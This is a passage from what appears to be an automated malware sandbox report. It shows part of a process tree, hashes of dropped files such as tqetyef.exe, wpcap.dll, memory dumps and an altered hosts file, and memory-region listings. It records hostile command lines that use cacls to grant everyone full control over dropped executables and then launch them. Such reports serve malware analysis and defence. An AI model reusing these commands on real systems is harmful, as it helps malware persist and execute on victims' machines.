                                                                                                                                                          2⤵
                                                                                                                                                            PID:5360
                                                                                                                                                          • C:\Windows\system32\cacls.exe
                                                                                                                                                            cacls C:\Windows\zhynsqya\tqetyef.exe /p everyone:F
                                                                                                                                                            2⤵
                                                                                                                                                              PID:2252
                                                                                                                                                          • C:\Windows\system32\cmd.EXE
                                                                                                                                                            C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\hytabzqbl\tthale.exe /p everyone:F
                                                                                                                                                            1⤵
                                                                                                                                                              PID:4880
                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                                                                                                                                                                2⤵
                                                                                                                                                                  PID:5312
                                                                                                                                                                • C:\Windows\system32\cacls.exe
                                                                                                                                                                  cacls C:\Windows\TEMP\hytabzqbl\tthale.exe /p everyone:F
                                                                                                                                                                  2⤵
                                                                                                                                                                    PID:5124
                                                                                                                                                                • C:\Windows\system32\cmd.EXE
                                                                                                                                                                  C:\Windows\system32\cmd.EXE /c C:\Windows\ime\tqetyef.exe
                                                                                                                                                                  1⤵
                                                                                                                                                                    PID:2716
                                                                                                                                                                    • C:\Windows\ime\tqetyef.exe
                                                                                                                                                                      C:\Windows\ime\tqetyef.exe
                                                                                                                                                                      2⤵
                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                      • Suspicious use of SetWindowsHookEx
                                                                                                                                                                      PID:6016

                                                                                                                                                                  Network

                                                                                                                                                                  MITRE ATT&CK Enterprise v15

                                                                                                                                                                  Replay Monitor

                                                                                                                                                                  Loading Replay Monitor...

                                                                                                                                                                  Downloads

                                                                                                                                                                  • C:\Windows\SysWOW64\Packet.dll

                                                                                                                                                                    Filesize

                                                                                                                                                                    95KB

                                                                                                                                                                    MD5

                                                                                                                                                                    86316be34481c1ed5b792169312673fd

                                                                                                                                                                    SHA1

                                                                                                                                                                    6ccde3a8c76879e49b34e4abb3b8dfaf7a9d77b5

                                                                                                                                                                    SHA256

                                                                                                                                                                    49656c178b17198470ad6906e9ee0865f16f01c1dbbf11c613b55a07246a7918

                                                                                                                                                                    SHA512

                                                                                                                                                                    3a6e77c39942b89f3f149e9527ab8a9eb39f55ac18a9db3a3922dfb294beb0760d10ca12be0e3a3854ff7dabbe2df18c52e3696874623a2a9c5dc74b29a860bc

                                                                                                                                                                  • C:\Windows\SysWOW64\wpcap.dll

                                                                                                                                                                    Filesize

                                                                                                                                                                    275KB

                                                                                                                                                                    MD5

                                                                                                                                                                    4633b298d57014627831ccac89a2c50b

                                                                                                                                                                    SHA1

                                                                                                                                                                    e5f449766722c5c25fa02b065d22a854b6a32a5b

                                                                                                                                                                    SHA256

                                                                                                                                                                    b967e4dce952f9232592e4c1753516081438702a53424005642700522055dbc9

                                                                                                                                                                    SHA512

                                                                                                                                                                    29590fa5f72e6a36f2b72fc2a2cca35ee41554e13c9995198e740608975621142395d4b2e057db4314edf95520fd32aae8db066444d8d8db0fd06c391111c6d3

                                                                                                                                                                  • C:\Windows\TEMP\hytabzqbl\config.json

                                                                                                                                                                    Filesize

                                                                                                                                                                    693B

                                                                                                                                                                    MD5

                                                                                                                                                                    f2d396833af4aea7b9afde89593ca56e

                                                                                                                                                                    SHA1

                                                                                                                                                                    08d8f699040d3ca94e9d46fc400e3feb4a18b96b

                                                                                                                                                                    SHA256

                                                                                                                                                                    d6ae7c6275b7a9b81ae4a4662c9704f7a68d5943fcc4b8d035e53db708659b34

                                                                                                                                                                    SHA512

                                                                                                                                                                    2f359d080c113d58a67f08cb44d9ab84b0dfd7392d6ddb56ca5d1b0e8aa37b984fac720e4373d4f23db967a3465fcf93cee66d7934d4211a22e1ebc640755f01

                                                                                                                                                                  • C:\Windows\TEMP\wnzbtrurt\1740.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    4.1MB

                                                                                                                                                                    MD5

                                                                                                                                                                    250d90e7bbedd2f31d530449bc04fc0e

                                                                                                                                                                    SHA1

                                                                                                                                                                    a255d6e154e5b0321ba3abc1f9ba16a972eaa510

                                                                                                                                                                    SHA256

                                                                                                                                                                    0a660a5b1b92be602251904f8901add2e09b6fd0986f1027080365c7e38da59a

                                                                                                                                                                    SHA512

                                                                                                                                                                    3b95cc8021e2993ea4864cfc7ab232add3cfa69903e95b3be751f99d389eef3de2fe0e380bc5053c3293d283df527a87d384687c2132ebd8290014069f2a33fd

                                                                                                                                                                  • C:\Windows\TEMP\wnzbtrurt\2624.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    7.6MB

                                                                                                                                                                    MD5

                                                                                                                                                                    31ef149c7bd67b652561f9dbf5c19ab3

                                                                                                                                                                    SHA1

                                                                                                                                                                    5d4fb516e7ebcd3f89656366b5d7aa872255730e

                                                                                                                                                                    SHA256

                                                                                                                                                                    aa5adf2a4d6520d1dd63b2fc7e85314c81e20b23c8db9237aa9fec7bf7d1edd5

                                                                                                                                                                    SHA512

                                                                                                                                                                    e4de4e1c5d4087f454f9e18ed62f534f3a29b9fdb6c466f4886f88feab3154c66ec1746ff7308bbf49854f8cbc822d7cb63a4dd35021d24f88cc968bdf870b8a

                                                                                                                                                                  • C:\Windows\TEMP\wnzbtrurt\2788.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    25.9MB

                                                                                                                                                                    MD5

                                                                                                                                                                    d07b736750d96f2da47fd71da646ca2c

                                                                                                                                                                    SHA1

                                                                                                                                                                    a4c2850cf02f954c65857b092084d2911c7c1b6d

                                                                                                                                                                    SHA256

                                                                                                                                                                    2547cd64608b388f4e57c2cda65b02173c251c15b88d7c28839febe47f23d4c9

                                                                                                                                                                    SHA512

                                                                                                                                                                    ce4e53545edccd6f857a2cc9df1c5f8bbb5cef6d0d0f4ec37b444126ee1ecb70948aca096df103c62228ed47fe91dbd3960b47c7a17f4db0d26ff7f9f125e2b3

                                                                                                                                                                  • C:\Windows\TEMP\wnzbtrurt\2868.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    822KB

                                                                                                                                                                    MD5

                                                                                                                                                                    aae42128f6fc04c67ce5eb5889ea3c32

                                                                                                                                                                    SHA1

                                                                                                                                                                    eb0a95caca734349f57a020d4d9e97d50a19b964

                                                                                                                                                                    SHA256

                                                                                                                                                                    7d03938e5c97eb617b3a0ed702c82c1e524dcee71a10a5822423af0e5dc51115

                                                                                                                                                                    SHA512

                                                                                                                                                                    6f690426e7c827723ca2f5716aa1aa23efac6d2fbf87bdce49d5f27ac55a66f08c27e9635ff6f308a76fe952e834b61afae266286b29163bbeeb0ac8fb44b024

                                                                                                                                                                  • C:\Windows\TEMP\wnzbtrurt\3152.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    2.9MB

                                                                                                                                                                    MD5

                                                                                                                                                                    a21129795baf4525a45a0c1eb8e13632

                                                                                                                                                                    SHA1

                                                                                                                                                                    16585869143a5887dd38f513cd0964f1c2600cf4

                                                                                                                                                                    SHA256

                                                                                                                                                                    35fade0180502cc6edc120589b1d3af2214cef36fabeaef388da6f009fdc4011

                                                                                                                                                                    SHA512

                                                                                                                                                                    12200b6e127c11fd060508806e0a51091a43313875ae15dc18f4a4066552733e17e8970c057eac8ea9bde157f91dff00c95e8458e9351269f7ac6745003c8cc3

                                                                                                                                                                  • C:\Windows\TEMP\wnzbtrurt\3744.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    2.4MB

                                                                                                                                                                    MD5

                                                                                                                                                                    e2b34d029d363706613284470d48e1de

                                                                                                                                                                    SHA1

                                                                                                                                                                    ddf31c6910c1b2b3e591a860a4ccd751151fa312

                                                                                                                                                                    SHA256

                                                                                                                                                                    95269b632bc4143a3f1ac270840e5522d09e51c05beebe9a05a7cc93e9669ce2

                                                                                                                                                                    SHA512

                                                                                                                                                                    ba25dfb25a37a4653d5b7919db097d0b89480a924efb521e28e4dd985779c78a2d8cdb0da994efdce3d514415ac110b3940209a85060b17a6b94d85bb9755940

                                                                                                                                                                  • C:\Windows\TEMP\wnzbtrurt\376.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    33.7MB

                                                                                                                                                                    MD5

                                                                                                                                                                    12cb586012767477d6df11760b311053

                                                                                                                                                                    SHA1

                                                                                                                                                                    14f487821448f54765e8e1ac25e324fe33754338

                                                                                                                                                                    SHA256

                                                                                                                                                                    372cf746e5c0278accca82fe46a8e8719ebd4d52940dcc26b764ba1ed4bcbbea

                                                                                                                                                                    SHA512

                                                                                                                                                                    ee346b5c0b598f999eb0b85fae382beaa5869d43d9230d918a8f2a9f73bf309bd6871f091dc9c1ff5613fe91094f94ec11923c13a3db95125b0d1d20e2d3cff3

                                                                                                                                                                  • C:\Windows\TEMP\wnzbtrurt\3836.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    20.8MB

                                                                                                                                                                    MD5

                                                                                                                                                                    aee943169460e9a71e43da84fc23e681

                                                                                                                                                                    SHA1

                                                                                                                                                                    cf70a91150067523f1dceff98b0a0e524f244144

                                                                                                                                                                    SHA256

                                                                                                                                                                    04fe4d3de4e3575e9f98880fb75b1e9eca4d35bafc4ee7f83b73494571999bc8

                                                                                                                                                                    SHA512

                                                                                                                                                                    96bcc2228e395db016a30966a56622552dcd85cc8f0b26c3186f506625eb49e2227e915cd2615f9999bafb2f56769a3cdcfda338fbd1f30c11bfdc4143b73a83

                                                                                                                                                                  • C:\Windows\TEMP\wnzbtrurt\3900.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    4.7MB

                                                                                                                                                                    MD5

                                                                                                                                                                    6aadafedfaa6990a3dd5b8264ab11af6

                                                                                                                                                                    SHA1

                                                                                                                                                                    ed147074d75015388c2318714d29293b1c3bb657

                                                                                                                                                                    SHA256

                                                                                                                                                                    cec812a66b39f22c3646de8ff2ac89da5d46bd7933737df121f97ecfcbd4cce4

                                                                                                                                                                    SHA512

                                                                                                                                                                    8360cc8f07480e7f4d1b7853488f65df8cd6bcb265bc9489bd917feffd7cd62caefa57b8edf17a20d5155292e06cf3ba055029df5994c0698dd7c7cd59f19ac0

                                                                                                                                                                  • C:\Windows\TEMP\wnzbtrurt\3984.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    45.7MB

                                                                                                                                                                    MD5

                                                                                                                                                                    890c70697e6ee3af424c66770e840f87

                                                                                                                                                                    SHA1

                                                                                                                                                                    1a1712148842c6c82b37dd3770e43034a950b22f

                                                                                                                                                                    SHA256

                                                                                                                                                                    7d1cc6aa6c637fbb12170b7eeea28cb2736138c373560152908e5cf9b24deb9e

                                                                                                                                                                    SHA512

                                                                                                                                                                    960a2720781465f1518071a4566337238c424076e08d82f3875ba8592f86741967facd6e3176f3d60522e4545551b76421bcc0132576b46ee3bf24ee95b8e4fd

                                                                                                                                                                  • C:\Windows\TEMP\wnzbtrurt\4396.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    1.1MB

                                                                                                                                                                    MD5

                                                                                                                                                                    563dcc10fc267a77f6e4aee2b11d1090

                                                                                                                                                                    SHA1

                                                                                                                                                                    0be0b858a629a51da85e620c7042d7c6737114ee

                                                                                                                                                                    SHA256

                                                                                                                                                                    72d6c7d41a80d5bcaadc7bb2f32e927fcfe20f9f5b9494295b6d04e0f16a7188

                                                                                                                                                                    SHA512

                                                                                                                                                                    5a336ba3d151d1c9bc2d1827de0c3a399a9a03f240f6eade21e0969e52f0b1f0bf3f0a0353199160813f23c53cff673a0d05445b31daabdc1ffd0cd23b3f6f79

                                                                                                                                                                  • C:\Windows\TEMP\wnzbtrurt\4668.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    8.8MB

                                                                                                                                                                    MD5

                                                                                                                                                                    744d9d29fd8bd491b05ad1326bae0f9f

                                                                                                                                                                    SHA1

                                                                                                                                                                    7fba8812f873e3562a480accf3bbe0815e596d56

                                                                                                                                                                    SHA256

                                                                                                                                                                    ab5cf3a796095fd5b729845a9b9d016c1f5e840e0d26867223da7d737ee8c47a

                                                                                                                                                                    SHA512

                                                                                                                                                                    b958208c0ae34b7787868f58fc36f9345d4e6da24b50cf370e08373bccede3b3ccf661719d1c18fee3216505d842b2fb4f69b8b1a2d8dfd2b64ed3db9edc2098

                                                                                                                                                                  • C:\Windows\TEMP\wnzbtrurt\784.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    3.8MB

                                                                                                                                                                    MD5

                                                                                                                                                                    bda2e553f0dc8a3eea51bcac3479893b

                                                                                                                                                                    SHA1

                                                                                                                                                                    14fc3244f5154f4701a6fe7bc94052fe7bb50ee7

                                                                                                                                                                    SHA256

                                                                                                                                                                    eeff6490aeb18fcd2a86675eb383290f92b88221052a71c96346e41d93e28e91

                                                                                                                                                                    SHA512

                                                                                                                                                                    236b69c00f2370e11de7bfb4a1c48304ef893a780e6563887b44af06887ec3b35185b902b361fc158ad1fea16a5a7078ed638582a7c44e233a2013ed7c9d32d0

                                                                                                                                                                  • C:\Windows\TEMP\wnzbtrurt\788.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    1019KB

                                                                                                                                                                    MD5

                                                                                                                                                                    bc21a4e3fe90aaac5df9d3e3c94d8e76

                                                                                                                                                                    SHA1

                                                                                                                                                                    db5522ff582f2ec5d3021517ba636a6aab2bbef5

                                                                                                                                                                    SHA256

                                                                                                                                                                    d9fbb84429b59da12c497cbfbee3ce37fcf6dc89e63774cd8587862e92d08c61

                                                                                                                                                                    SHA512

                                                                                                                                                                    b127df7c21cb4ca22c431add2edc869d45c463a934df90d14a5bd74d72023e8abf1ea2e2eb258a31d8817ccc095d8ca359d56d5ff199261fc6502a65424ce4f9

                                                                                                                                                                  • C:\Windows\Temp\hytabzqbl\tthale.exe

                                                                                                                                                                    Filesize

                                                                                                                                                                    343KB

                                                                                                                                                                    MD5

                                                                                                                                                                    2b4ac7b362261cb3f6f9583751708064

                                                                                                                                                                    SHA1

                                                                                                                                                                    b93693b19ebc99da8a007fed1a45c01c5071fb7f

                                                                                                                                                                    SHA256

                                                                                                                                                                    a5a0268c15e00692a08af62e99347f6e37ee189e9db3925ebf60835e67aa7d23

                                                                                                                                                                    SHA512

                                                                                                                                                                    c154d2c6e809b0b48cc2529ea5745dc4fc3ddd82f8f9d0f7f827ff5590868c560d7bec42636cb61e27cc1c9b4ac2499d3657262826bbe0baa50f66b40e28b616

                                                                                                                                                                  • C:\Windows\Temp\nsi80EA.tmp\System.dll

                                                                                                                                                                    Filesize

                                                                                                                                                                    11KB

                                                                                                                                                                    MD5

                                                                                                                                                                    2ae993a2ffec0c137eb51c8832691bcb

                                                                                                                                                                    SHA1

                                                                                                                                                                    98e0b37b7c14890f8a599f35678af5e9435906e1

                                                                                                                                                                    SHA256

                                                                                                                                                                    681382f3134de5c6272a49dd13651c8c201b89c247b471191496e7335702fa59

                                                                                                                                                                    SHA512

                                                                                                                                                                    2501371eb09c01746119305ba080f3b8c41e64535ff09cee4f51322530366d0bd5322ea5290a466356598027e6cda8ab360caef62dcaf560d630742e2dd9bcd9

                                                                                                                                                                  • C:\Windows\Temp\nsi80EA.tmp\nsExec.dll

                                                                                                                                                                    Filesize

                                                                                                                                                                    6KB

                                                                                                                                                                    MD5

                                                                                                                                                                    b648c78981c02c434d6a04d4422a6198

                                                                                                                                                                    SHA1

                                                                                                                                                                    74d99eed1eae76c7f43454c01cdb7030e5772fc2

                                                                                                                                                                    SHA256

                                                                                                                                                                    3e3d516d4f28948a474704d5dc9907dbe39e3b3f98e7299f536337278c59c5c9

                                                                                                                                                                    SHA512

                                                                                                                                                                    219c88c0ef9fd6e3be34c56d8458443e695badd27861d74c486143306a94b8318e6593bf4da81421e88e4539b238557dd4fe1f5bedf3ecec59727917099e90d2

                                                                                                                                                                  • C:\Windows\Temp\wnzbtrurt\beaheefbe.exe

                                                                                                                                                                    Filesize

                                                                                                                                                                    126KB

                                                                                                                                                                    MD5

                                                                                                                                                                    e8d45731654929413d79b3818d6a5011

                                                                                                                                                                    SHA1

                                                                                                                                                                    23579d9ca707d9e00eb62fa501e0a8016db63c7e

                                                                                                                                                                    SHA256

                                                                                                                                                                    a26ae467f7b6f4bb23d117ca1e1795203821ca31ce6a765da9713698215ae9af

                                                                                                                                                                    SHA512

                                                                                                                                                                    df6bcdc59be84290f9ecb9fa0703a3053498f49f63d695584ffe595a88c014f4acf4864e1be0adf74531f62ce695be66b28cfd1b98e527ab639483802b5a37a6

                                                                                                                                                                  • C:\Windows\Temp\xohudmc.exe

                                                                                                                                                                    Filesize

                                                                                                                                                                    72KB

                                                                                                                                                                    MD5

                                                                                                                                                                    cbefa7108d0cf4186cdf3a82d6db80cd

                                                                                                                                                                    SHA1

                                                                                                                                                                    73aeaf73ddd694f99ccbcff13bd788bb77f223db

                                                                                                                                                                    SHA256

                                                                                                                                                                    7c65ffc83dbbbd1ec932550ea765031af6e48c6b5b622fc2076c41b8abb0fcb9

                                                                                                                                                                    SHA512

                                                                                                                                                                    b89b6d9c77c839d0d411d9abf2127b632547476c2272219d46ba12832d5a1dab98f4010738969e905e4d791b41596473397cf73db5da43ecab23486e33b0e1d1

                                                                                                                                                                  • C:\Windows\system32\drivers\etc\hosts

                                                                                                                                                                    Filesize

                                                                                                                                                                    1KB

                                                                                                                                                                    MD5

                                                                                                                                                                    c838e174298c403c2bbdf3cb4bdbb597

                                                                                                                                                                    SHA1

                                                                                                                                                                    70eeb7dfad9488f14351415800e67454e2b4b95b

                                                                                                                                                                    SHA256

                                                                                                                                                                    1891edcf077aa8ed62393138f16e445ef4290a866bccdbb7e2d7529034a66e53

                                                                                                                                                                    SHA512

                                                                                                                                                                    c53a52b74d19274c20dece44f46c5d9f37cd0ec28cf39cac8b26ba59712f789c14d1b10b7f5b0efdf7ce3211dda0107792cc42503faa82cb13ffae979d49d376

                                                                                                                                                                  • C:\Windows\wnzbtrurt\Corporate\vfshost.exe

                                                                                                                                                                    Filesize

                                                                                                                                                                    381KB

                                                                                                                                                                    MD5

                                                                                                                                                                    fd5efccde59e94eec8bb2735aa577b2b

                                                                                                                                                                    SHA1

                                                                                                                                                                    51aaa248dc819d37f8b8e3213c5bdafc321a8412

                                                                                                                                                                    SHA256

                                                                                                                                                                    441430308fa25ec04fd913666f5e0748fdb10743984656d55acc26542e5fff45

                                                                                                                                                                    SHA512

                                                                                                                                                                    74a7eebdee9d25a306be83cb3568622ea9c1b557a8fbb86945331209bdc884e48113c3d01aac5347d88b8d2f786f8929aa6bb55d80516f3b4f9cc0f18362e8e3

                                                                                                                                                                  • C:\Windows\wnzbtrurt\seaaiarll\gaslnkfba.exe

                                                                                                                                                                    Filesize

                                                                                                                                                                    332KB

                                                                                                                                                                    MD5

                                                                                                                                                                    ea774c81fe7b5d9708caa278cf3f3c68

                                                                                                                                                                    SHA1

                                                                                                                                                                    fc09f3b838289271a0e744412f5f6f3d9cf26cee

                                                                                                                                                                    SHA256

                                                                                                                                                                    4883500a1bdb7ca43749635749f6a0ec0750909743bde3a2bc1bfc09d088ca38

                                                                                                                                                                    SHA512

                                                                                                                                                                    7cfde964c1c62759e3ba53c47495839e307ba0419d740fcacbeda1956dcee3b51b3cf39e6891120c72d0aae48e3ea1019c385eb5006061ced89f33b15faa8acb

                                                                                                                                                                  • C:\Windows\wnzbtrurt\seaaiarll\wpcap.exe

                                                                                                                                                                    Filesize

                                                                                                                                                                    424KB

                                                                                                                                                                    MD5

                                                                                                                                                                    e9c001647c67e12666f27f9984778ad6

                                                                                                                                                                    SHA1

                                                                                                                                                                    51961af0a52a2cc3ff2c4149f8d7011490051977

                                                                                                                                                                    SHA256

                                                                                                                                                                    7ec51f4041f887ba1d4241054f3be8b5068291902bada033081eff7144ec6a6d

                                                                                                                                                                    SHA512

                                                                                                                                                                    56f0cff114def2aeda0c2c8bd9b3abcacef906187a253ea4d943b3f1e1ca52c452d82851348883288467a8c9a09d014910c062325964bcfe9618d7b58056e1fe

                                                                                                                                                                  • C:\Windows\zhynsqya\tqetyef.exe

                                                                                                                                                                    Filesize

                                                                                                                                                                    7.1MB

                                                                                                                                                                    MD5

                                                                                                                                                                    27847576771c517cc629716a15b724d9

                                                                                                                                                                    SHA1

                                                                                                                                                                    0d9f35d6c82adb80b11841bd0ac1957fd50807a0

                                                                                                                                                                    SHA256

                                                                                                                                                                    decd37ca40b505fd62f41909bdbe89f8537c5bca5c9bbfadc85972913876dcc6

                                                                                                                                                                    SHA512

                                                                                                                                                                    22d42d156c1ae9465811284d0d60327366b9afd54570c795a92608c4afc69e5d5822e0bc10e6c6dbb0019832c44b270be8e54cfd79c521ae129ca335c934e1d0

                                                                                                                                                                  • memory/752-205-0x00007FF646B50000-0x00007FF646BAB000-memory.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    364KB

                                                                                                                                                                  • memory/836-7-0x0000000000400000-0x0000000000A9B000-memory.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    6.6MB

                                                                                                                                                                  • memory/876-193-0x00007FF646B50000-0x00007FF646BAB000-memory.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    364KB

                                                                                                                                                                  • memory/972-147-0x0000000010000000-0x0000000010008000-memory.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    32KB

                                                                                                                                                                  • memory/1356-234-0x00007FF646B50000-0x00007FF646BAB000-memory.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    364KB

                                                                                                                                                                  • memory/1560-223-0x00007FF646B50000-0x00007FF646BAB000-memory.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    364KB

                                                                                                                                                                  • memory/1668-245-0x0000000000F20000-0x0000000000F32000-memory.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    72KB

                                                                                                                                                                  • memory/1688-197-0x00007FF646B50000-0x00007FF646BAB000-memory.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    364KB

                                                                                                                                                                  • memory/1980-181-0x00007FF769D30000-0x00007FF769E50000-memory.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    1.1MB

                                                                                                                                                                  • memory/1980-166-0x0000021AED230000-0x0000021AED234000-memory.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    16KB

                                                                                                                                                                  • memory/1980-182-0x0000021AECA60000-0x0000021AECA64000-memory.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    16KB

                                                                                                                                                                  • memory/1980-253-0x00007FF769D30000-0x00007FF769E50000-memory.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    1.1MB

                                                                                                                                                                  • memory/1980-180-0x00007FF769D30000-0x00007FF769E50000-memory.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    1.1MB

                                                                                                                                                                  • memory/1980-252-0x00007FF769D30000-0x00007FF769E50000-memory.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    1.1MB

                                                                                                                                                                  • memory/1980-251-0x00007FF769D30000-0x00007FF769E50000-memory.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    1.1MB

                                                                                                                                                                  • memory/1980-249-0x00007FF769D30000-0x00007FF769E50000-memory.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    1.1MB

                                                                                                                                                                  • memory/1980-167-0x0000021AED450000-0x0000021AED454000-memory.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    16KB

                                                                                                                                                                  • memory/1980-226-0x00007FF769D30000-0x00007FF769E50000-memory.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    1.1MB

                                                                                                                                                                  • memory/1980-165-0x0000021AECA60000-0x0000021AECA64000-memory.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    16KB

                                                                                                                                                                  • memory/1980-207-0x00007FF769D30000-0x00007FF769E50000-memory.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    1.1MB

                                                                                                                                                                  • memory/1980-247-0x00007FF769D30000-0x00007FF769E50000-memory.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    1.1MB

                                                                                                                                                                  • memory/1980-164-0x0000021AECA50000-0x0000021AECA60000-memory.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    64KB

                                                                                                                                                                  • memory/1980-246-0x00007FF769D30000-0x00007FF769E50000-memory.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    1.1MB

                                                                                                                                                                  • memory/1980-161-0x00007FF769D30000-0x00007FF769E50000-memory.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    1.1MB

                                                                                                                                                                  • memory/1980-216-0x00007FF769D30000-0x00007FF769E50000-memory.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    1.1MB

                                                                                                                                                                  • memory/1980-235-0x00007FF769D30000-0x00007FF769E50000-memory.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    1.1MB

                                                                                                                                                                  • memory/2208-228-0x00007FF646B50000-0x00007FF646BAB000-memory.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    364KB

                                                                                                                                                                  • memory/2408-232-0x00007FF646B50000-0x00007FF646BAB000-memory.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    364KB

                                                                                                                                                                  • memory/2408-230-0x00007FF646B50000-0x00007FF646BAB000-memory.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    364KB

                                                                                                                                                                  • memory/2608-185-0x00007FF646B50000-0x00007FF646BAB000-memory.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    364KB

                                                                                                                                                                  • memory/2696-219-0x00007FF646B50000-0x00007FF646BAB000-memory.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    364KB

                                                                                                                                                                  • memory/2772-214-0x00007FF646B50000-0x00007FF646BAB000-memory.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    364KB

                                                                                                                                                                  • memory/3076-174-0x00007FF646B50000-0x00007FF646BAB000-memory.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    364KB

                                                                                                                                                                  • memory/3356-178-0x00007FF646B50000-0x00007FF646BAB000-memory.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    364KB

                                                                                                                                                                  • memory/4000-140-0x00007FF646B50000-0x00007FF646BAB000-memory.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    364KB

                                                                                                                                                                  • memory/4000-153-0x00007FF646B50000-0x00007FF646BAB000-memory.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    364KB

                                                                                                                                                                  • memory/4064-189-0x00007FF646B50000-0x00007FF646BAB000-memory.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    364KB

                                                                                                                                                                  • memory/4296-134-0x00007FF7B9310000-0x00007FF7B93FE000-memory.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    952KB

                                                                                                                                                                  • memory/4296-136-0x00007FF7B9310000-0x00007FF7B93FE000-memory.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    952KB

                                                                                                                                                                  • memory/4400-0-0x0000000000400000-0x0000000000A9B000-memory.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    6.6MB

                                                                                                                                                                  • memory/4428-77-0x0000000001370000-0x00000000013BC000-memory.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    304KB

                                                                                                                                                                  • memory/4576-170-0x00007FF646B50000-0x00007FF646BAB000-memory.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    364KB

                                                                                                                                                                  • memory/4928-210-0x00007FF646B50000-0x00007FF646BAB000-memory.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    364KB